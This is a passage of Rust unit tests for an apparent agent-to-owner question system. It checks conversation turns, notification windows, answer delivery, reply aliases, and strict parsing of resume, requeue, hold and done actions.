3845 let c = abandoned.say("hello?").unwrap_err().to_string();
3846 assert!(c.contains("abandoned"), "{c}");
3847
3848 let mut open = choice_question();
3849 let d = open.say(" ").unwrap_err().to_string();
3850 assert!(d.contains("empty"), "{d}");
3851 let e = open.reply(" \n", vec![]).unwrap_err().to_string();
3852 assert!(e.contains("empty"), "{e}");
3853 assert!(open.thread.is_empty(), "a refused turn leaves no trace");
3854 }
3855
3856 #[test]
3857 fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
3858 let mut q = choice_question();
3859 q.say("SQLite or Redis, but what about disk space?")
3860 .unwrap();
3861 assert!(q.waiting_on_agent());
3862
3863 q.reply(
3864 "SQLite: it is one file, no server to run.",
3865 vec!["SQLite".to_owned()],
3866 )
3867 .unwrap();
3868
3869 assert_eq!(q.choices, ["SQLite"]);
3870 assert!(
3871 !q.waiting_on_agent(),
3872 "the agent spoke, so the owner is the one being waited on now"
3873 );
3874 assert_eq!(q.thread.len(), 2);
3875 assert_eq!(q.thread[1].who, Who::Agent);
3876
3877 assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
3879 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3880 assert_eq!(q.resolution().as_deref(), Some("SQLite"));
3881 }
3882
3883 #[test]
3884 fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
3885 let mut fresh = choice_question();
3886 assert!(
3887 fresh.should_notify(Timestamp::now()),
3888 "nobody has been notified yet, so the first ask always pages"
3889 );
3890
3891 fresh.say("why not Postgres?").unwrap();
3892 let just_said = fresh.thread[0].at;
3893 assert!(
3894 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
3895 "still on the screen a minute later; no need to page again"
3896 );
3897 assert!(
3898 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
3899 "exactly the window: `>` means this side stays quiet"
3900 );
3901 assert!(
3902 fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
3903 "past the window: they may have walked away"
3904 );
3905 }
3906
3907 #[test]
3908 fn a_round_trip_of_turns_still_counts_as_one_open_question() {
3909 let (_dir, s) = store();
3910 let mut q = choice_question();
3911 s.put(&mut q).unwrap();
3912 q.say("why not Postgres?").unwrap();
3913 s.put(&mut q).unwrap();
3914 q.reply("no server to run", vec!["SQLite".to_owned()])
3915 .unwrap();
3916 s.put(&mut q).unwrap();
3917
3918 assert_eq!(
3919 s.count_open(),
3920 1,
3921 "one question that talked twice is still one open question"
3922 );
3923 assert_eq!(s.open_for(&q.run).len(), 1);
3924 }
3925
3926 #[tokio::test]
3927 async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
3928 let (dir, s) = store();
3929 let mut q = choice_question();
3930 let id = q.id.clone();
3931 let writer = Questions::at(dir.path().join("questions"));
3932 let handle = tokio::spawn(async move {
3933 tokio::time::sleep(Duration::from_millis(30)).await;
3934 let mut fresh = writer.get(&id).expect("the question was filed first");
3935 fresh.say("why not Postgres?").unwrap();
3936 writer.put(&mut fresh).unwrap();
3937 });
3938
3939 let got = wait_for_owner(
3940 &mut q,
3941 &s,
3942 &quiet(),
3943 Duration::from_secs(5),
3944 Duration::from_millis(10),
3945 )
3946 .await
3947 .unwrap();
3948
3949 handle.await.unwrap();
3950 assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
3951 assert_eq!(
3952 q.status,
3953 QuestionStatus::Open,
3954 "talking back is not a decision; the question stays open"
3955 );
3956 assert!(q.answer.is_none());
3957 }
3958
3959 #[test]
3960 fn a_say_that_lands_before_the_agents_reply_stays_unread() {
3961 let mut q = choice_question();
3962 q.say("A").unwrap();
3963 q.delivered_turns = q.thread.len();
3964 q.say("B").unwrap();
3965 q.reply("about A", vec![]).unwrap();
3966 assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
3967 q.delivered_turns = q.thread.len();
3968 assert_eq!(q.unread_from_owner(), None);
3969 }
3970
3971 #[test]
3972 fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
3973 let (_d, s) = store();
3974 let mut q = choice_question();
3975 s.put(&mut q).unwrap();
3976 q.say("first").unwrap();
3977 q.say("second").unwrap();
3978 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3979 s.put(&mut q).unwrap();
3980 assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
3981 let mut out = Vec::new();
3982 deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
3983 let shown = String::from_utf8(out).unwrap();
3984 let (a, b, c) = (
3985 shown.find("first").unwrap(),
3986 shown.find("second").unwrap(),
3987 shown.find("SQLite").unwrap(),
3988 );
3989 assert!(a < b && b < c, "{shown}");
3990 assert_eq!(q.delivered_turns, q.thread.len());
3991 assert!(q.answer_delivered);
3992 }
3993
3994 #[test]
3995 fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
3996 let mut q = choice_question();
3997 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3998 assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
3999 let mut q = choice_question();
4000 q.say("old").unwrap();
4001 q.delivered_turns = q.thread.len();
4002 q.say("new").unwrap();
4003 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4004 let shown = answer_for_agent(&q, "SQLite");
4005 assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
4006 }
4007
4008 #[test]
4009 fn recovery_aliases_require_a_unique_offered_structured_effect() {
4010 let mut q = choice_question();
4011 q.choices = vec!["daemon: 再開A".into(), "daemon: 再開B".into()];
4012 for (label, run) in [("daemon: 再開A", "run-a"), ("daemon: 再開B", "run-b")] {
4013 q.actions
4014 .insert(label.into(), ChoiceAction::Resume { run: run.into() });
4015 }
4016 assert!(
4017 q.resolve_reply("再開")
4018 .unwrap_err()
4019 .to_string()
4020 .contains("ambiguous")
4021 );
4022 assert_eq!(q.resolve_reply("resume:run-a").unwrap(), "daemon: 再開A");
4023 q.choices.remove(1);
4024 assert_eq!(q.resolve_reply("実行再開").unwrap(), "daemon: 再開A");
4025 assert!(q.resolve_reply("resume run-b").is_err());
4026 assert!(q.resolve_reply("保留").is_err());
4027 assert!(!ChoiceAction::Requeue.matches_alias("再キュー"));
4028 assert!(!ChoiceAction::Done.matches_alias("完了"));
4029 }
4030
4031 #[test]
4032 fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
4033 let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
4034 let ok = parse_actions(
4035 &[
4036 "resume で続行する=resume".to_owned(),
4037 "wait=done".to_owned(),
4038 ],
4039 &choices,
4040 "run-1",
4041 )
4042 .unwrap();
4043 assert_eq!(
4044 ok["resume で続行する"],
4045 ChoiceAction::Resume {
4046 run: "run-1".into()
4047 }
4048 );
4049 assert_eq!(ok["wait"], ChoiceAction::Done);
4050
4051 let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
4052 assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
4053 assert_eq!(
4054 ChoiceAction::parse("x=requeue", "").unwrap().1,
4055 ChoiceAction::Requeue
4056 );
4057
4058 assert_eq!(
4059 ChoiceAction::parse("x=hold", "").unwrap().1,
4060 ChoiceAction::Hold
4061 );
4062
4063 for bad in [
4064 "no-equals",
4065 "=done",
4066 "x=resume",
4067 "x=resume:",
4068 "x=explode",
4069 "x=done:1",
4070 ] {
4071 assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
4072 }
4073 assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
4074 assert!(
4075 parse_actions(
4076 &["wait=done".to_owned(), "wait=requeue".to_owned()],
4077 &choices,
4078 ""
4079 )
4080 .is_err()
4081 );
4082 }
4083
4084 #[test]
4085 fn only_a_chosen_label_with_an_action_is_actionable() {
4086 let mut q = choice_question();
4087 q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
4088 q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
4089 assert!(q.chosen_action().is_none(), "unanswered");
4090 q.answer(Answer::Choice("resume".to_owned())).unwrap();
4091 assert!(
4092 q.chosen_action().is_none(),
4093 "a label that merely reads like an action does nothing"
4094 );
4095
4096 let mut q2 = choice_question();
4097 q2.choices = vec!["SQLite".to_owned()];
4098 q2.actions
4099 .insert("SQLite".to_owned(), ChoiceAction::Requeue);
4100 q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4101 assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
4102 }
4103
4104 #[test]
4105 fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
4106 let mut q = choice_question();
4107 q.choices = vec!["A".to_owned(), "B".to_owned()];
4108 q.actions.insert("A".to_owned(), ChoiceAction::Done);
4109 q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
4110 q.reply("narrowing", vec!["B".to_owned()]).unwrap();
4111 assert_eq!(q.actions.len(), 1);
4112 assert!(q.actions.contains_key("B"));
4113
4114 let mut v = serde_json::to_value(&q).unwrap();
4115 v.as_object_mut().unwrap().remove("actions");
4116 let old: Question = serde_json::from_value(v).unwrap();
4117 assert!(old.actions.is_empty());
4118 }
4119}